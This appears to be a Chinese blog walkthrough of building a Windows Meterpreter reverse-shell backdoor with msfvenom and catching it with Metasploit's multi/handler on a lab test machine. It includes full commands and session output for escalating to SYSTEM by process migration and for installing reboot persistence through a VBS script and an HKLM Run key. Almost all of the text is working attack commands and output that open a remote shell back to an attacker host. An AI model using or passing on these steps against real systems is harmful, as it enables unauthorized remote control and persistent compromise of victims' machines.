生成exe后门
p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #000000; background-color: rgba(255, 255, 255, 0.75) }
span.s1 { }
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.131 lport=4444 -f exe -o 4444.ex
传到测试机执行后得到反弹shell
p.p1 { margin: 0.0px 0.0px 0.0px 0.0px; font: 11.0px Menlo; color: #000000; background-color: rgba(255, 255, 255, 0.75) }
span.s1 { }
msfconsole
msf > use multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.31.131
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.31.131:4444
[*] Sending stage (179779 bytes) to 192.168.31.248
[*] Meterpreter session 1 opened (192.168.31.131:4444 -> 192.168.31.248:49313) at 2018-04-13 23:05:37 +0800
meterpreter >
meterpreter > getpid
Current pid: 4584
meterpreter > getuid //获取当前用户身份
Server username: ihoney-PC\Administrator
meterpreter >
meterpreter > ps //查看当前测试机系统进程
Process List
============
PID PPID Name Arch Session User Path
--- ---- ---- ---- ------- ---- ----
564 456 svchost.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe
meterpreter > migrate 564 //迁移当前会话进程到系统进程，这样即使被结束exe后门仍然可以使用会话shell
[*] Migrating from 4456 to 564...
[*] Migration completed successfully.
meterpreter > getpid
Current pid: 564
meterpreter > getuid //迁移成功后得到system用户权限
Server username: NT AUTHORITY\SYSTEM
meterpreter > run persistence -X -i 60 -p 4444 -r 192.168.31.131 //真正的后渗透，在系统重启后仍然可以得到shell
[!] Meterpreter scripts are deprecated. Try post/windows/manage/persistence_exe.
[!] Example: run post/windows/manage/persistence_exe OPTION=value [...]
[*] Running Persistence Script
[*] Resource file for cleanup created at /Users/zhangpeng/.msf4/logs/persistence/IHONEY-PC_20180413.2519/IHONEY-PC_20180413.2519.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.31.131 LPORT=4444
[*] Persistent agent script is 99640 bytes long
[+] Persistent Script written to C:\Windows\TEMP\vkHZiX.vbs //写了一个vbs脚本到C:\Windows\TEMP\目录，系统重启自动运行
[*] Executing script C:\Windows\TEMP\vkHZiX.vbs
[+] Agent executed with PID 4872
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\PgjqHCWqb
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\PgjqHCWqb
meterpreter > exit //退出会话并重启测试机
[*] Shutting down Meterpreter...
[*] 192.168.31.248 - Meterpreter session 3 closed. Reason: User exit
msf exploit(multi/handler) >
此时重启测试机后，重新得到会话
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.31.131:4444
[*] Sending stage (179779 bytes) to 192.168.31.248
[*] Meterpreter session 4 opened (192.168.31.131:4444 -> 192.168.31.248:49302) at 2018-04-13 23:26:31 +0800
meterpreter >
原文地址：https://www.cnblogs.com/i-honey/p/8824842.html